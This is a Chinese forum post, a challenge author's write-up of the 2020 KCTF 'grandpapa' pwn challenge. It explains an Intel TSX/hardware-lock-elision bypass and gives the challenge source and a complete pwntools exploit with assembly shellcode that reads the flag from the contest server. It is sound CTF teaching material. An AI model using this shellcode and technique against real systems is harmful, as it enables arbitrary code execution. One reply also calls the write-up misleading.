首页
社区
课程
招聘
[原创]2020 KCTF Q1 grandpapa WriteUp
发表于: 2020-4-9 18:43 5058

[原创]2020 KCTF Q1 grandpapa WriteUp

2020-4-9 18:43
5058

0x01 题目信息

题目名称:grandpapa(老大爷)

 

编译选项:

gcc -fno-builtin-printf -o grandpapa grandpapa.c

保护措施:

╭─birdpwn@ubuntu ~/Pwn/pwn 
╰─$ checksec grandpapa 
[*] '/home/Pwn/pwn/grandpapa'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

题目基本保护全开,开启了Full RELRO选手无法修改GOT表,也开了地址随机化和数据执行保护。

 

文件信息:

╭─birdpwn@ubuntu ~/Pwn/pwn 
╰─$ file grandpapa 
grandpapa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=8e1d9b799ccca023d2e27123f83018593fa4fa1f, not stripped

0x02 命题思路

此题魔改了2019年defcon的一道题目,patch了其中的一个漏洞,修改了unsorted bin,这道题目的考察的是对Intel CPU的TSX事务扩展的漏洞利用,这道题目对于学习TSX漏洞是非常好的题目,近几年爆出大量Intel CPU漏洞基本都与TSX技术有关,包括Spectre(幽灵),Meltdown(熔毁)和2019年11月爆出的TSX异步中止漏洞(CVE-2019-11135),利用此漏洞,攻击者可进行侧信道攻击,从操作系统内核和进程中获取敏感信息。

Intel的TSX指令集是针对粗细粒度线程锁定的。在多核多线程处理器中,有一个比较明显的问题,就是多线程对某一资源都需要调用的时候,需要仲裁。当一个线程调用该资源时,另一线程就无法调用,如果调用了,就会发生错误。而如今的程序员,为了防止线程争copy抢,发生错误,都用粗粒度锁定——也就是该线程占用的绝大多数资源,其他线程都不得争抢。这样也导致了一些,本不需锁定的资源,也被锁定了,其他线程利用不了,降低了多核多线程处理器的多线程性能。TSX指令集就是要让程序员或开发工具更方便、准确地进行细粒度锁定,让资源更有效地使用。

main函数源码如下:

int main(int argc, char **argv)
{
    char* buf;
    int base=0;
    int key_tmp=0;
    char shellcode[1048];
    int shellcode_size;
    int (*func)();
    register int key asm ("ebx");
    setvbuf(stdout, NULL,_IOLBF,BUFSIZ);
    int urand = open("/dev/urandom", O_RDONLY);
    write(1,"Welcome to the 2020kanxueCTF.\n",33);   
    while(1){
        write(1,"\nShellcode > \0",14);
        fflush(stdout);
        shellcode_size = read_all(&shellcode, 1024);
        read(urand, (char*)&base, 4);
        read(urand, (char*)&key_tmp, 4);
        buf = init_buffer(shellcode_size, 0, base);
        printf("\n(get %d bytes)\n",shellcode_size);

        if (shellcode_size)
            my_memcpy(&buf[HEADER_LEN+4], shellcode, shellcode_size);
        base = 0;
        func = (int (*)()) &buf[20];

        asm("vzeroall");
        asm("xor %r10,%r10");
        asm("xor %r13,%r13");
        asm("xor %r12,%r12");
        asm("xor %rsi,%rsi");
        asm("xor %rdi,%rdi");

        sleep(1);
        key = key_tmp;
        key_tmp = 0;

        (int)(*func)();

        printf("We are We failed!\n");
        fflush(stdout);
        free(buf);
        sleep(2);
    }

    printf("You should never reach here...");
    return 0;
}

下面的代码是解此题目的重点,xacquire lock xor [rdi], ebx ; 会进入硬件内存锁状态,就会在内存页面上给shellcode添加xacquire前缀,导致shellcode不可执行。

%idefine rip rel $

global _start
    _start:
    db  0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
    db  0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90
    lea rdi, [rip]
    sub rdi, 0x14
    mov dword eax, [rdi]
    mov dword [rdi], eax
    xor rax, rax
    xor rcx, rcx
    xor rdx, rdx
    xor rsi, rsi
    ;xor r8, r8
    ;xor r9, r9
    ;xor r10, r10
    ;xor r11, r11
    ;xor r12, r12
    ;xor r13, r13
    ;xor r14, r14
    ;xor r15, r15
    ;xor rsi, rsi
    xacquire lock xor dword [rdi], ebx
    xtest
    jnz shellcode
    ret

    shellcode:
    xor rbp, rbp
    xor rsp, rsp
    xor rdi, rdi
    xor rbx, rbx

0x03 解题思路

题目的整体解题思路是利用TSX事务扩展让程序执行进入预先写入的shellcode,然后就可以执行shellcode,这里需要解决的一个问题是:硬件锁省略(HLE),题目中使用了xacquire指令前缀,会对这之后要操作的指令内存进行锁省略,这个硬件锁省略会使函数无法返回利用函数跳转,也无法预加载shellcode。

 

现代CPU都使用了推测执行这一技术,简单来说就是CPU会以推测执行的方式预先加载一部分指令,这样可以减少CPU等待时间提升CPU处理速度,但是这种技术在2018年接连爆出大量漏洞,这就包括名噪一时的Spectre(幽灵),Meltdown(熔毁)漏洞。

 

在这道题目中分支判断的结果可以在推测执行的时候改变,就是结束硬件锁省略的指令:xrelease,因此在预加载要执行的shellcode中调用xrelease指令就可以对内存进行解锁操作,在后面的判断结束后就可以执行获取shell的shellcode了。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int buf; // [rsp+10h] [rbp-450h]
  int v4; // [rsp+14h] [rbp-44Ch]
  int fd; // [rsp+18h] [rbp-448h]
  unsigned int v6; // [rsp+1Ch] [rbp-444h]
  void *ptr; // [rsp+20h] [rbp-440h]
  char *v8; // [rsp+28h] [rbp-438h]
  char v9; // [rsp+30h] [rbp-430h]
  unsigned __int64 v10; // [rsp+448h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  buf = 0;
  v4 = 0;
  setvbuf(stdout, 0LL, 1, 0x2000uLL);
  fd = open("/dev/urandom", 0, argv);
  write(1, "Welcome to the 2020kanxueCTF.\n", 0x21uLL);
  while ( 1 )
  {
    write(1, "\nShellcode > ", 0xEuLL);
    fflush(stdout);
    v6 = read_all(&v9, 1024LL);
    read(fd, &buf, 4uLL);
    read(fd, &v4, 4uLL);
    ptr = (void *)init_buffer(v6, 0LL, buf);
    printf("\n(get %d bytes)\n", v6);
    if ( v6 )
      my_memcpy((char *)ptr + HEADER_LEN + 4, &v9, v6);
    buf = 0;
    v8 = (char *)ptr + 20;
    __asm { vzeroall }
    sleep(1u);
    v4 = 0;
    ((void (__fastcall *)(signed __int64, _QWORD))v8)(1LL, 0LL);
    printf("We are We failed!\n");
    fflush(stdout);
    free(ptr);
    sleep(2u);
  }
}

main函数循环一次读取1024字节,使用urandom生成两个随机数,然后使用allocate()函数申请一个可读可写可执行的堆空间,堆空间长度是length(shellcode)+65+4,而且先回存储生成的4 byte随机数和在程序中硬编码的65 byte数据,最终可用大小是0x450 byte,之后会使用copy函数从栈空间中获取预加载的shellcode将其复制到堆空间中。

loc_F70:
    lea     rdi, loc_F70
    sub     rdi, 0x14
    mov     eax, [rdi]
    mov     [rdi], eax             
    xor     rax, rax               
    xor     rcx, rcx
    xor     rdx, rdx
    xor     rsi, rsi
    xacquire lock xor [rdi], ebx   
    xtest
    jnz     short loc_F95
    retn

loc_F95:
    xor     rbp, rbp
    xor     rsp, rsp
    xor     rdi, rdi
    xor     rbx, rbx               

user_shellcode:
    ...

以上代码非常重要,是解此题目的重点,xacquire lock xor [rdi], ebx ; 会进入内存锁状态,这样就会在RWX的内存页面上给shellcode添加xacquire前缀,导致shellcode不可执行。

 

由于key值是一个随机值,因此需要通过暴破控制内存。

 

Intel将TSX技术实现简述为推测锁定(speculative locking),这种方法可确保安全地访问共享内存空间。

 

TSX为x86指令集增加了许多新指令,其中就包括硬件内存锁(Hardware Lock Elision, HLE)指令前缀XACQUIREXRELEASE

xacquire lock mov [rax], 1   ; 进入内存锁状态
xrelease lock mov [rax], 0   ; 结束内存锁状态

将shellcode存放在xaquire锁的[rdi]的偏移量上,当通过xtest检查检查就可以执行任意代码,先从堆栈中读取随机数
,然后使用xrelease mov存储随机数,这样就可以通过xtest的检测

 shellcode = asm('''
s:
jmp $+0x30
nop;nop;nop;nop;nop;nop;nop;nop;nop
fd:
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;
  lea rax, [rip+fd]
  mov rdi, rax
  mov rax, qword ptr [rdi] /* rax = bin_addr */
/* environ_ptr - bin_addr = 0x23f8 */
  xor ebp, ebp
  mov bp, 0x23f8
  add rax, rbp
  mov rdi, rax
  mov rax, qword ptr [rdi] /* rax @ environ */
/* magic_at - environ = 0x584 */
  xor ebp, ebp
  mov bp, 0x584
  sub rax, rbp
  mov rbx, rax
  mov rsp, rbx
  mov ebx, dword ptr [rbx]
  lea rdi, [rip+s-69]
  xrelease mov dword ptr [rdi], ebx
''')

上面的shellcode主要作用是通过UAF漏洞泄露libc地址和栈地址实现内存解锁,然后调用syscall_opensyscall_readsyscall_write等函数来get flag。

 shellcode = ""
 shellcode += "B"*(0x400-len(shellcode))
 p.sendafter("> ", shellcode)

 # 发送 EOF 会进入第二个循环,将随机数保存在堆栈中就可以实现代码执行
 p.shutdown()
 p.interactive()

一共需要发送两次数据。第一次发送1024个字节,第二次通过shutdown函数发送一个EOF,发送两次是因为第一次发送时由于随机数的值存放在栈空间上,找不到栈地址,发送两次就可以利用UAF漏洞泄露libc地址,这样就可以找到栈地址了,然后解锁实现代码执行。

 

发送EOF信息,循环会申请一个堆空间,这个堆空间会从unsorted bin中分配,也就是存储shellcode的堆空间,shellcode的偏移一直没有发生变化,通过xtest检测实现跳转就可以执行shellcode了。

 

完整 exp 如下:

from pwn import *
import time
import ctypes

DEBUG = False
context.update(arch="amd64", os="linux", bits=64)

if __name__ == "__main__":
    elf = ELF("./grandpapa")
    if DEBUG:
        p = process("./grandpapa")
    else:
        p = remote("121.36.145.157 ", 10000)

    shellcode = asm('''
s:
jmp $+0x30
nop;nop;nop;nop;nop;nop;nop;nop;nop
fd:
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
nop;nop;nop;nop;nop;nop;nop;nop;nop;
  lea rax, [rip+fd]
  mov rdi, rax
  mov rax, qword ptr [rdi] /* rax = bin_addr */
/* environ_ptr - bin_addr = 0x23f8 */
  xor ebp, ebp
  mov bp, 0x23f8
  add rax, rbp
  mov rdi, rax
  mov rax, qword ptr [rdi] /* rax @ environ */
/* magic_at - environ = 0x584 */
  xor ebp, ebp
  mov bp, 0x584
  sub rax, rbp
  mov rbx, rax
  mov rsp, rbx
  mov ebx, dword ptr [rbx]
  lea rdi, [rip+s-69]
  xrelease mov dword ptr [rdi], ebx
''') + asm(shellcraft.cat('/flag'))
    shellcode += "B"*(0x400-len(shellcode))
    p.sendafter("> ", shellcode)

    # 发送 EOF 会进入第二个循环,将随机数保存在堆栈中就可以实现代码执行
    p.shutdown()
    p.interactive()
    p.close()

成功得到shell,读取flag即可

 

 

game over :)

0x04 赛后说明

这道题目的原题是2019年defcon Qualifier的一道CPU 推测执行题目,当时我也看了这题,但是没有做出,这道题是根据它patch了其中的一个漏洞的,后面的unsorted bin堆分配也做了修改,改这个题是因为觉得Intel CPU 的 TSX漏洞在国内讨论还是挺少的,这个题目对于学习TSX漏洞很有帮助,毕竟国内去看defcon题目的人还是少数,比赛也不是为了难为选手,原来的exp我测试是无法跑通的,因为我提供的环境是16.04,是需要爆破处理的,但是昨晚突然有师傅说觉得云平台上这个漏洞无法触发,于是晚上更换了服务器,才有了今天用原来exp可以解出题目的事情,正常解法是修改xtest完成内存开锁,我这边取消防守分数没有问题。

 

再说一个事情,本来是出了一道考察google-perftools的tcmalloc堆分配器的题目,但是在开赛前题目环境在云上一直部署不成功,所以临时修改了这道CPU题目,给大家造成的问题非常抱歉。

 

鉴于这种情况,赛后主办方会把攻守双方此题的分数清零,更换环境后出现了非预期,我这边也很挠头,师傅们轻喷吧。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2020-4-27 13:55 被0xbird编辑 ,原因:
上传的附件:
收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 164
活跃值: (246)
能力值: ( LV12,RANK:583 )
在线值:
发帖
回帖
粉丝
2
请教师傅一个问题,按照原本的设计,16.04 环境中,sleep 函数会把栈上的 secret 清0,您说的修改 xtest 是什么意思?
2020-4-24 14:41
0
雪    币: 3051
活跃值: (1392)
能力值: ( LV13,RANK:480 )
在线值:
发帖
回帖
粉丝
3
skytar 请教师傅一个问题,按照原本的设计,16.04 环境中,sleep 函数会把栈上的 secret 清0,您说的修改 xtest 是什么意思?
16.04的libc确实会把埋好的secret清零处理,这就需要去爆破一下,原本的设计是这样的,之后unsorted bin里面存放了shellcode,因为过TSX的点其实就是想办法绕过xtest检测,但是即便我patch了漏洞,可是在其他环境中shellcode偏移没有变,导致了非预期:(
2020-4-24 15:05
0
雪    币: 6435
活跃值: (441)
能力值: ( LV12,RANK:831 )
在线值:
发帖
回帖
粉丝
4
这个 writeup 真令人无语。希望作者有点良心,少干点误导别人的事吧。
2020-4-27 06:05
0
游客
登录 | 注册 方可回帖
返回
//